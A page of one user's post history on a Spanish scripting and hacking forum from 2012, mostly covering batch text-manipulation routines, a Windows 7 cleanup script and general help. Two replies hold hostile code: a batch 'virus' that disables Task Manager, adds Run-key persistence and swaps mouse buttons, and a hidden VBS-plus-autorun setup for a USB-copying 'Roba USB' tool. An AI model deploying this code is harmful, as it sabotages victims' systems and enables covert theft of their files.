últimos mensajes de: Eleкtro

Mostrar Mensajes
Páginas: 1 ... 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 [1046] 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 ... 1236

10451	Programación / Scripting / Re: [Perl Tk] ASCII Art 0.1	en: 3 Octubre 2012, 01:28 am
+1 Gracias por compartirlo en TK Doddy Te animo a que saques alguna idea de este script que dejé a medias: http://pastebin.com/MVnhRi2a [RUBY] Proyecto sin finalizar Art ASCII Factory ¿Alguien me toma el relevo? Bueno, más bien que saques los estilos xD Sería genial que añadieras todos esos estilos a una versión 0.2 o que los sacases de donde los saqué yo ( http://patorjk.com/software/taag/ ) Me gusta el Art ASCII !! un saludo

10452	Programación / Scripting / Re: [BATCH] [APORTE] USB MON (Roba USB)	en: 3 Octubre 2012, 01:15 am
Cita de: crazykenny en 2 Octubre 2012, 16:26 pm Dicho sea de paso, y, aunque pueda ser algo tarde para decirlo, muchas gracias por el aporte. Muchas gracias por vuestra atencion. Nunca es tarde para dar las gracias, y gracias a ti por comentar Cita de: futurehack en 2 Octubre 2012, 16:23 pm Después de varios días sin que dieras señales por privado, te reescribo de nuevo el asunto que acontece este comentario. Lo siento futurehack mucha gente me pide ayuda por privado y por email pero tengo otras cosas q hacer aparte de ayudar en lo que puedo. Me ocupo de ello poco a poco! Cita de: futurehack en 2 Octubre 2012, 16:23 pm Te comento los pasos que sigo para utilizar USBMON: 1º Abro el bat como administrador 2º CMD, y ejecuto : USBMON -install El parámetro es "-instalar", no "-install" ¿Lo pusistete bien? si escribes un parámetro incorrecto el bat te avisa de lo que hiciste mal, lo he vuelto a comprobar. Citar Código: .------. _ _ ____ ____ __ __ ___ _ _ \| from-.-----. \| \| \| \|/ ___\| \| __ ) \| \/ \| / _ \ \| \ \| \| \| that-\| -----\| \| \| \| \|\___ \ \| _ \ \| \|\/\| \|\| \| \| \|\| \\| \| \| -usb-\| to---\| \| \|_\| \| ___) \|\| \|_) \| \| \| \| \|\| \|_\| \|\| \|\ \| \| -----\| -my--\| \___/ \|____/ \|____/ \|_\| \|_\| \___/ \|_\| \_\| '------\| drive\| By Elektro H@cker v0.3 '------' Paràmetro desconocido: -install C:\Users\Administrador\Downloads\_Otros>usbmon -install 1º - Abres la consola, sin abrir el bat, solamente abres una instancia de la CMD.exe (en la carpeta donde esté el USBMON.bat) 2º - en la consola escribes: Código USBMON.BAT -INSTALAR Si te sigue sin funcionar sigue estos pasos: - Si quieres instalarlo sin un autorun es suficiente con copiar el archivo.bat al pendrive... - Si lo quieres con autorun y que se inicie oculto agrega estos 2 archivos al pendrive: (Aunque no estoy 100% seguro de si funciona correctamente esta parte) USBMON.vbs Código Set wshShell = CreateObject("WScript.Shell") wshShell.run """" & ".\USBMON.BAT" & """", 0 autorun.inf Código: [autorun] shellexecute=USBMON1.vbs shell\open\command=USBMON1.vbs shell\explore\command=USBMON1.vbs shell=explore open=USBMON1.vbs action =Ejecutar USB MON Language= ID=en PD: los atributos del autorun.inf son: "solo lectura" "oculto" sistema", es improtante que los dejes así: Código Attrib +S +H +R "autorun.inf" Saludos

10453	Programación / Scripting / [BATCH][APORTE] WSS (Windows Seven Shrinker). Limpiador postinstall y WINSXS	en: 3 Octubre 2012, 00:24 am
Este script es un limpiador post-install de Windows 7 x64 - ¿Que quiere decir esto? Cuando instalamos Windows 7 (sin modificar), Microsoft nos llena el sistema con sus florituras, miles y miles de archivos y carpetas extra: Cursores, fuentes, Salvapantallas, temas de escritorio Otros idiomas Copias de seguridad Sonidos, videos, y todo tipo de archivos multimedia etc, etc, etc... Todo eso es conveniente eliminarlo para ayudar a agilizar/optimizar el sistema en diversos aspectos, como por ejemplo: Al escanear con un antivirus Al desfragmentar Al clonar el disco duro Al usar el buscador de Windows Simplemente para obtener más espacio libre en el disco etc... Y ese es el propósito de este script, limpiar y optimizar, quedarse con lo necesario de una instalación de Windows 7 y eliminar el resto, para siempre!. WSS es el sustituto de mi antiguo "Windows 7 Xtreme Cleaner" ( Para abreviar lo llamaré: W7XC ), el cual era al mismo tiempo un limpiador post-install y un limpiador de basura normal. Si alguien lo recuerda sabrá de que va la cosa: http://foro.elhacker.net/empty-t344097.0.html En comparación con W7XC, en WSS he eliminado por completo la función de limpiador de programas y basura que tenía W7XC, Porque disponiendo de CCleaner he podido trasladar la mayoría de cosas que eliminaba W7XC a una configuración de Inclusiones para el CCleaner (Si alguien la quiere, que me lo pida), entonces ya no me hace falta usar nunca más esa función lenta de W7XC. Así que he decidido suprimir el limpiador normal y profundizar en el limpiador post-install de W7XC y un reductor de la carpeta WINSXS, mejorandolo de arriba a abajo por completo empezando desde 0, simplificandolo, examinando manualmente las miles de carpetas de WINSXS, mucho trabajo, y este es el resultado, espero que os guste: - ¿Que es lo que limpia o puede limpiar WSS? Limpieza post-install: Limpieza de componentes activados: Cliente de impresion en internet Fax y scaner de Windows Internet Explorer Juegos de Windows Puerto LPR Servicios XPS Tablet PC Windows Media Center Limpieza de registro: Claves de registro de esquemas de Cursores Claves de registro de esquemas de sonido Claves de registro de fuentes Claves de registro del menu contextual (Nuevo > Archivo inutil) Limpieza de archivos: Archivos multimedia BMP/GIF/JPG/PNG - AVI/MPG/MP4/WMV Archivos temporales Ayuda de Windows Componentes de Windows (DVD Maker, Photoviewer, Window Mail, Wordpad, Write) Cursores Documentos publicos Enlaces de "Enviar a..." Enlaces de "Menu inicio" Enlaces WEB Fuentes (Menos las necesarias) Gadgets Idiomas Licencias Otros archivos Salvapantallas Sonidos Temas de escritorio Wallpapers Reducción de la carpeta WINSXS: Copias de seguridad de Archivos de localizacion MUI Copias de seguridad de Archivos multimedia BMP/JPG/PNG AVI/MPG/MP4/WMV Copias de seguridad de Componentes de Windows Copias de seguridad de Cursores Copias de seguridad de Fuentes Copias de seguridad de Gadgets Copias de seguridad de Idiomas Copias de seguridad de la Ayuda de Windows Copias de seguridad de Manifiestos correspondientes a las otras copias elminadas Copias de seguridad de Salvapantallas Copias de seguridad de Service Pack 1 Copias de seguridad de Sonidos Copias de seguridad de Temas de escritorio Copias de seguridad de Wallpapers Copias de seguridad temporales Otras copias. Consejos de uso: 1º - Instalar Windows 7 x64 de manera normal 2º - Instalar las librerías necesarias, y las actualizaciones deseadas desde Windows Update (Y Reiniciar el PC para aplicar las actualizaciones!) 3º - Usar Windows Seven Shrinker x64 Sobre la limpieza normal tengo que decir que no es en ningún caso dañiña, pero es posible que prefieras mirar detalladamente los "componentes de windows" que se deshabilitan y los que se eliminan por completo en el script antes de usarlo si quizás no te interesa que se elimine uno en particular. Los que se eliminan los he nombrado arriba y los que se deshabilitan están en la configuración del script... Y sobre la reducción de la carpeta WINSXS, ES MUY IMPORTANTE entender los riesgos que puede conllevar una limpieza de la carpeta WINSXS ya que esto puede afectar de forma distinta dependiendo de las características de un PC. Es posible que no puedas instalar varias actualizaciones de Windows Update después de una limpieza de la carpeta WINSXS, por eso recomiendo instalarlas primero. NO ME HAGO RESPONSABLE EN NINGÚN CASO DE UN POSIBLE FALLO EN EL ENTORNO DE WINDOWS DESPUÉS DE UNA REDUCCIÓN DE LA CARPETA WINSXS CON ESTE SCRIPT DESCARGA El código pesa mucho, más de 1 MB y contiene casi 10.000 lineas de código, Todos los servicios online como "pastebin.com" son muy restrictivos, así que no me ha quedado más remedio que subirlo aquí: http://exoshare.com/download.php?uid=08ESJATX Un saludo.[/list][/list][/list]

10454	Programación / Scripting / Re: virusillo batch	en: 2 Octubre 2012, 21:36 pm
Hola, El salvapantallas no existe en Windows 7 ¿Que pasa si mi archivo se llama "bicho.bat" en vez de "virus.bat"? http://ss64.com/nt/syntax-args.html Has elegido un mal sitio para copiarse a si mismo, elige otro menos restrictivo... no todos tienen permisos para usar las carpeta del sistema. Ni tampoco todos tienen permiso de admin para agregar claves a la raíz local (HKLM). Tampoco hay necesidad de autocopiarse. Código @Echo OFF REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T REG_DWORD /D "1" /F >NUL REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Salvapantallas" /D "CMD /C \"Start /B RUNDLL32.EXE user32.dll,SwapMouseButton ^& (FOR /L %%# in (1,1,9999) DO (ssbezier.scr /S /Q /R))\"" /F >NUL Del /Q %0 Para ocultarlo usa un script VBS o un "compilador" de batch, usa el buscador del foro, que se ha hablado 1.000 veces y la información la tienes delante. Saludos [offtopic] edito: ups me equivoqué al comentar la función swapmouse de rundll32... ¿cual era esa función que en win7 desapareció? :-/ [(offtopic]

10455	Programación / Scripting / Re: [Batch] Ayuda: Añadir linea a batch	en: 2 Octubre 2012, 16:20 pm
Cita de: Axelcraw en 2 Octubre 2012, 00:08 am También quiero saber que si añado mas lineas, estas se van a ir acumulando debajo de las otras. ¿Debajo de la última línea añadida usando por ejemplo el código que te puse arriba?, ¿O añadir lineas al final del texto, abajo abajo del todo? Lo primero es más complicado pero se puede hacer, con un FOR y guardando en una variable cual fue la última linea utilizada (por el script que puse arriba por ejemplo). Lo segundo es muy fácil, Si solo quieres añadir lineas abajo del todo, al final del archivo, lo que tienes que hacer es redireccionar así: Código Echo primera linea > "Archivo.txt" Echo linea que va debajo >> "Archivo.txt" Echo Otra linea que va debajo >> "Archivo.txt" Y puedes mirar esto: [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto saludos

10456

Programación / Scripting / [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto

en: 2 Octubre 2012, 15:58 pm

Las dudas más frecuentes sobre Batch suelen ser sobre la manipulación de texto, así que he creado esta rutina para que tengan esta pequeña ayuda.

A diferencia del 99% de rutinas parecidas a esta, mi código respeta los caracteres especiales al no usar la expansión. Por contra, resulta más lento el proceso.

- ¿Que funciones tiene?

AÑADIR TEXTO AL PRINCIPIO DE UNA LÍNEA
AÑADIR TEXTO AL FINAL DE UNA LÍNEA
ELIMINAR UNA LINEA
INSERTAR UNA LINEA (VACÍA O CON TEXTO)
REEMPLAZAR UNA LINEA
REEMPLAZAR PALABRAS DE UNA LINEA
REEMPLAZAR PALABRAS EN TODAS LAS LINEAS
ELIMINAR LOS PRIMEROS "X" CARACTERES EN TODAS LAS LÍNEAS
ELIMINAR LOS ÚLTIMOS "X" CARACTERES EN TODAS LAS LÍNEAS
CORTAR LAS PRIMERAS "X" LÍNEAS
CORTAR LAS ÚLTIMAS "X" LÍNEAS

Por ejemplo, para eliminar la linea 5 en un archivo de texto lo usariamos así:

Código:

Call :TEXTMAN E 5 "Archivo.txt"

Léanse la ayuda que está escrita dentro del código antes de usarlo.

Espero que a alguien le sirva de ayuda.
Saludos.

~~Versión 0.2, corregido un fallo en la función de L-~~
Versión 0.5

Código:

@Echo OFF


:: TEXT MANIPULATOR ROUTINE v0.5
:: by Elektro H@cker
 

REM SYNTAX:
::
:: TEXTMAN [ACTION] [LINE(S)] [FILE] [TEXT]
::
:: * [LINE(S)] parameter is Optional for some actions
:: * [TEXT] parameter is Optional for some actions
 

REM ACTIONS:
::
::  AB  = ADD_BEGINNING      * Add text to the beginning of a line.
::  AE  = ADD_ENDING         * Add text to the end of a line.
::  E   = ERASE              * Delete a line.
::  I   = INSERT             * Add a empty line (Or a line with text).
::  RL  = REPLACE_LINE       * Replace a entire line.
::  RS  = REPLACE_STRING     * Replace word from line.
::  RSA = REPLACE_STRING_ALL * Replace word from all lines.
::  C+  = CHARACTER_PLUS     * Delete the first "X" characters from all lines.
::  C-  = CHARACTER_LESS     * Delete the last  "X" characters from all lines.
::  L+  = LINE_PLUS          * Cut the first "X" amount of lines.
::  L-  = LINE_LESS          * Cut the last  "X" amount of lines.
::  GL  = GET_LINE           * Delete all except "X" line.
::  GR  = GET_RANGE          * Delete all except "X" range of lines.
 

REM EXAMPLES:
::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
::                                                                         ::
:: Delete the line 3                                                       ::
:: Call :TEXTMAN E 3 "Test.txt"                                            ::
::                                                                         ::                                                                        
:: Add a string to the beginning of line 3                                 ::
:: Call :TEXTMAN AL 3 "Test.txt" "Elektro H@cker"                          ::
::                                                                         ::                                                                      
:: Add a string to the end of line 3.                                      ::
:: Call :TEXTMAN AR 3 "Test.txt" "Elektro H@cker"                          ::
::                                                                         ::                                                                       
:: Add a empty line at line 3.                                             ::
:: Call :TEXTMAN I 3 "Test.txt"                                            ::
::                                                                         ::                                                                       
:: Add a line with a word at line 3.                                       ::
:: Call :TEXTMAN I 3 "Test.txt" "Elektro H@cker"                           ::
::                                                                         ::    
:: Replace the line 3 with "Elektro H@cker".                               ::
:: Call :TEXTMAN RL 3 "Test.txt" "Elektro H@cker"                          ::
::                                                                         ::
:: Replace the words "Elektro" to "H@cker" in line 3.                      ::
:: Call :TEXTMAN RS 3 "Test.txt" "Elektro" "H@cker"                        ::
::                                                                         ::
:: Replace the words "Elektro" to "H@cker" in all lines.                   ::
:: Call :TEXTMAN RSA "Test.txt" "Elektro" "H@cker"                         ::
::                                                                         ::
:: Delete the first 3 characters in all lines.                             ::
:: Call :TEXTMAN C+ 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete the last 3 characters in all lines.                              ::
:: Call :TEXTMAN C- 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete the first 3 lines.                                               ::
:: Call :TEXTMAN L+ 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete the last 3 lines.                                                ::
:: Call :TEXTMAN L- 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete all except the line number 3.                                    ::
:: Call :TEXTMAN SL 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete all except the 3 to 9 range of lines.                            ::
:: Call :TEXTMAN SR 3 9 "Test.txt"                                         ::
::                                                                         ::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
 

:TEXTMAN
(SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Invalid parameter & Exit /B 1)) & (GOTO:EOF)
:AB
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE (if "%%B" EQU "" ((Echo %~4)>> "%~3.NEW") ELSE ((Echo %~4%%B)>> "%~3.NEW"))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:AE
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE ((Echo %%B%~4)>> "%~3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:E
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B) >> "%~3.NEW"))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:I
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF     "%%LINE%%" EQU "%~2" (IF NOT "%~4" EQU "" ((Echo %~4) >> "%~3.NEW") ELSE (Echo+>> "%~3.NEW"))" & (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW"))))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RL
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE ((Echo %~4)>> "%~3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RS
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE (CALL SET "STRING=%%B" &&     (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((CALL ECHO %%STRING:%~4=%~5%%)>> "%~3.NEW")))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RSA
(For /F "tokens=1* delims=]" %%A in ('type "%~2" ^| find /n /v ""') DO (CALL SET "STRING=%%B" && (if "%%B" EQU "" (Echo+>> "%~2.NEW") ELSE ((CALL ECHO %%STRING:%~3=%~4%%)>>"%~2.NEW")))) && (CALL :RENAMER "%~2") & (GOTO:EOF)
:C+
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set   "LINE=%%@" && (CALL ECHO %%LINE:~%~2%% >>      "%~3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:C-
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set   "LINE=%%@" && (CALL ECHO %%LINE:~0,-%~2%% >>   "%~3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:L+
(Call SET /A "A=%~2") && (Call TYPE "%~3" |@MORE +%%A%% > "%~3.NEW") && (CALL :RENAMER "%~3") & (GOTO:EOF)
:L-
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (CALL SET /A "TOTAL_LINES+=1")) & (CALL SET /A "TOTAL_LINES-=%~2-1") & (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" & Call echo "%%LINE%%"|@FIND "%%TOTAL_LINES%%" >NUL) && (CALL :RENAMER "%~3" && GOTO:EOF) || (Echo %%B >> "%~3.NEW"))
:GL
(Call SET /A "A=%~2" && Call SET /A "A-=1") && (Call TYPE "%~3" |@MORE +%%A%% > "%temp%\getline.tmp") && (For /F "tokens=1* delims=]" %%A in ('type "%temp%\getline.tmp" ^| find /n /v ""') DO ((if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)> "%~3.NEW"))) && ((CALL :RENAMER "%~3") & (GOTO:EOF))) 
:GR
(For /F "tokens=1* delims=]" %%A in ('type "%~4" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "(IF "%%LINE%%" GEQ "%~2" IF "%%LINE%%" LEQ "%~3" (if "%%B" EQU "" (Echo+>> "%~4.NEW") ELSE ((Echo %%B)>> "%~4.NEW"))) && (IF "%%LINE%%" EQU "%~3" Exit /B 1)" || ((CALL :RENAMER "%~4") & (GOTO:EOF)))))

:RENAMER
(REN "%~1" "%~nx1.BAK") & (MOVE /Y "%~1.BAK" "%TEMP%\" >NUL) & (REN "%~1.NEW" "%~nx1") & (GOTO:EOF)

10457	Media / Multimedia / Re: ¿Por qué los hay diferentes sincronizaciones de subtitulos para una misma peli?	en: 2 Octubre 2012, 10:44 am
Cita de: Aikanáro Anário en 2 Octubre 2012, 01:10 am Si una película tiene la misma duración ¿por qué hay diferentes subtitulos? Cita de: Aikanáro Anário en 2 Octubre 2012, 03:56 am Es decir si una película dura 1:30, no importa quien haya hecho qué, en el minuto 10:00 (por ejemplo) en todas las versiones los actores deberían estar haciendo y diciendo lo mismo Por los FPS del video (el framerate). Cualquier película, por ejemplo "Spiderman", puede que parezca que tenga la misma duración en la versión USA como en España, pero los frames (las imagenes) van más lentas o más rápidas dependiendo del pais de origen del video. Si tienes un video a 25.000 fps y usas un archivo de subtitulos que está sincronizado para un video a 23,976 FPS, onviamente no vas a ver buenos resultados. PD: El framerate de un video se puede cambiar, y también se puede configurar un archivo de subtitulos para adecuarlo al framerate de un video. Eso es lo más importante, pero también puede haber varios subtitulos diferentes porque la gente se dedica a hacer su propia traducción de los videos (Por hobbie). Saludos

10458

Programación / Scripting / Re: [Batch] Ayuda: Añadir linea a batch

en: 1 Octubre 2012, 23:34 pm

Código

@Echo OFF
 
:: By Elektro H@cker
 
SET "FILE=Test.txt"
Set "COMMAND=IF "%%VAR%%" EQU "SOMETHING" (THIS^) ELSE (THAT^)"
Set /A "INSERT__IN_LINE=3"
 
For /F "Useback Tokens=*" %%# in ("%FILE%") DO (
	Call Set /A "Line+=1"
	CMD /C "IF "%%LINE%%" EQU "%INSERT__IN_LINE%" (Echo %COMMAND%>>"%FILE%.new.txt")"
	Echo %%#>>"%FILE%.new.txt"
)
 
Pause&Exit

Output:
test.txt.new.txt

Código:

comando1
comando2
IF "%VAR%" EQU "SOMETHING" (THIS) ELSE (THAT)
comando3
comando4
comando5

saludos

10459	Programación / Scripting / Re: automatizado de Canal de TV, basado en Batch DOS y VBasic…	en: 1 Octubre 2012, 10:01 am
Aparte de que la variable de entorno "DesktopPath" no existe, y has cambiado la manera de usar el comando start sin los parámetros correspondientes, ¿porque intentas usar un comando para abrir el archivo cuando puedes abrirlo directamente? (Siempre que lo tengas asociado al bsplayer). Código: AT 6:45 /NEXT: "%USERPROFILE%\Desktop\LISTA1.bsl" http://ss64.com/nt/at.html http://ss64.com/nt/schtasks.html el trozo del código VBS de "Bsplayer.vbs" está bien, bueno, le sobra el parentesis suelto ) de abajo del todo, pero supongo que arriba del todo hay una linea que no pusiste (If not exist...() entonces ya no sobraría el paréntesis. Te aconsejo que leas un manual básico... lo necesitas para tu hobby/trabajo y no puedes pasarte la vida preguntando sobre el mismo tema saludos

10460	Informática / Software / Re: Detectar un usb ya conectado sin reconectarlo	en: 30 Septiembre 2012, 22:14 pm
Cita de: Aikanáro Anário en 30 Septiembre 2012, 22:11 pm Cuando ejecuto "echo list vol \| part" se abre un nueva ventana ejecutando el diskpart, pero no aparece ninguna lista de usb conectados entonces el USB no está conectado (insertado dentro del pc) ¿verdad?, olvida el diskpart, no se muy bien lo que intentas xD saludos

Páginas: 1 ... 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 [1046] 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 ... 1236